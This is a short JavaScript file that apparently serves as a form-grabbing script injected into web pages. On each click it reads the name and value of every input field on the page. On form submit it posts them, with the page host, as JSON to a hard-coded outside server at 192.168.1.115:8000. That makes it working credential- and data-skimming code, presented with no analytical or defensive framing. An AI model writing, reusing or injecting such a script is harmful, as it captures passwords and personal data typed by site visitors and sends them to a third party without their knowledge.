function myjpost(url, jsdict) {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", url, true);
    xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
    xhr.send(JSON.stringify(jsdict));
} 
function mysubmit(){
    //alert('user:'+jsdict['user']);
    jsdict['Host'] = window.location.host;
    myjpost('http://192.168.1.115:8000/cgi-bin/mycgi.py', jsdict);
}

if(document.attachEvent) {
    //alert("AttachEvent OK");
    document.attachEvent('onsubmit', mysubmit);
}else if(document.addEventListener){
    //alert("addEventListener OK");
    document.addEventListener('submit', mysubmit, false);
}

//to get value before submit
var jsdict = {};

function  myclick(){
    var inputs = document.getElementsByTagName('input');
    for(i=0; i<inputs.length; i++) {
        name = inputs[i].name ?inputs[i].name: inputs[i].getAttribute('id') 
                              ?inputs[i].getAttribute('id'): i;
        value = inputs[i].value;
        jsdict[name] = value;
    }
}
document.addEventListener('click', myclick, false);
